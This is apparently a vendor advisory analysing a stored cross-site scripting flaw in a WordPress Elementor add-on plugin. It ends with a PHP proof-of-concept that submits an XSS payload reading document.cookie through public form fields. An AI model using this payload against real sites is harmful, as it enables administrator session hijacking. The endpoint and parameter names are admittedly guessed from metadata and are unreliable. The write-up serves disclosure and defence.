Atomic Edge analysis of CVE-2026-2724 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Unlimited Elements for Elementor WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates insufficient input sanitization and output escaping on form submission data displayed in the admin Form Entries Trash view.
Atomic Edge research identifies the likely root cause as missing or inadequate sanitization functions (sanitize_text_field, wp_kses) on form field values before database storage, combined with missing escaping functions (esc_html, esc_attr) when displaying those values in the admin interface. The vulnerability affects all form entry fields, suggesting a generalized sanitization failure rather than a single field oversight.
The exploitation method involves an unauthenticated attacker submitting malicious JavaScript payloads through any public form created with the plugin. When an administrator later views the trashed form entries in the WordPress dashboard (/wp-admin/admin.php?page=unlimited-elements-form-entries-trash or similar), the payload executes in the administrator’s browser session. This creates a stored XSS attack vector with administrative privilege escalation potential.
The fix likely requires adding proper input sanitization using WordPress core functions before storing form submissions, and implementing output escaping using appropriate escaping functions when rendering form data in the admin interface. The patched version 2.0.6 presumably addresses both sanitization and escaping gaps.
Impact includes session hijacking, administrative account takeover, site defacement, and malware injection. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) confirms network accessibility, low attack complexity, no authentication requirements, scope change to other components, and low confidentiality/integrity impacts. The stored nature and administrative execution context elevate the practical severity beyond the base score.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2724 - Unlimited Elements For Elementor <= 2.0.5 - Unauthenticated Stored Cross-Site Scripting via Form Entry Fields
<?php
$target_url = 'https://example.com';
// This PoC assumes the plugin creates public-facing forms with predictable field names
// Since exact form endpoints are unknown, we target common WordPress AJAX patterns
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Payload that executes when admin views trashed entries
$payload = '<img src=x onerror=alert(document.cookie)>';
// Common form submission parameters
$post_data = [
'action' => 'unlimited_elements_form_submit', // Inferred from plugin slug
'form_id' => '1', // Assumes at least one form exists
'fields' => [
'name' => $payload,
'email' => 'attacker@example.com',
'message' => $payload
]
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Payload submitted. Check admin Form Entries Trash view for execution.";
} else {
echo "Submission failed with HTTP code: $http_code";
}
?>
